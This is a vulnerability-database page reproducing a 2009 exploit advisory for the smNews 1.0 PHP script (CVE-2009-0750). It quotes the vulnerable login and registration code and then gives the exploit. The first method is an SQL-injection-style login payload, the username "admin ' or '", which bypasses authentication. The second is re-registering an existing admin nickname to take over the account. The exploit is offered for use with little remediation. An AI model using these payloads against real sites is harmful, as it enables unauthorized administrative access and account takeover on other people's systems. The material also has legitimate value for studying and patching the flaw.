Lucene search
+L

smNews 1.0 - Authentication Bypass / Column Truncation

🗓️ 18 Feb 2009 00:00:00Reported by x0rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Authentication bypass and column truncation in smNews 1.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-0750
18 Feb 200900:00
circl
cve
CVE
CVE-2009-0750
2 Mar 200922:00
cve
cvelist
Cvelist
CVE-2009-0750
2 Mar 200922:00
cvelist
euvd
EUVD
EUVD-2009-0750
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-0750
2 Mar 200922:30
nvd
prion
Prion
Sql injection
2 Mar 200922:30
prion
#########################################################################################
[0x01] Informations:
Name           : smNews
Download       : http://downloads.sourceforge.net/simplequizz/simpleQuizz.zip?modtime=1229788692&big_mirror=0
Vulnerability  : Auth Bypass/Column Truncation
Author         : x0r
Contact        : [email protected]
Notes          : Proud to be Italian //
Greetz         : Str0ke,
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/smNews/login.php [...] register.php
[code]
  $results = execute('select',
        array('table' => 'users',
       'where' => array('username =~ ^'.$_POST['username'].'$', 'and', 'password = '.md5($_POST['password'])),
       'limit' => array(0,0)));
[/code]

[code]
  execute('insert',
    array('table' => 'users',
          'values' => array('username' => $_POST['username'],
                            'password' => md5($_POST['password']),
                            'email'    => $_POST['email'])));
[/code]
#########################################################################################
[0x03] Exploit:
Exploit: 1- Username: admin ' or '
            Password: x0r
      2- You have only to re-reg the admin.. ex: (if admin nick is 'lol' you reg an
      account with your passwd, email and nick 'lol' ^^ easy :P
########################################################################################

EOF

# milw0rm.com [2009-02-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Feb 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01086
40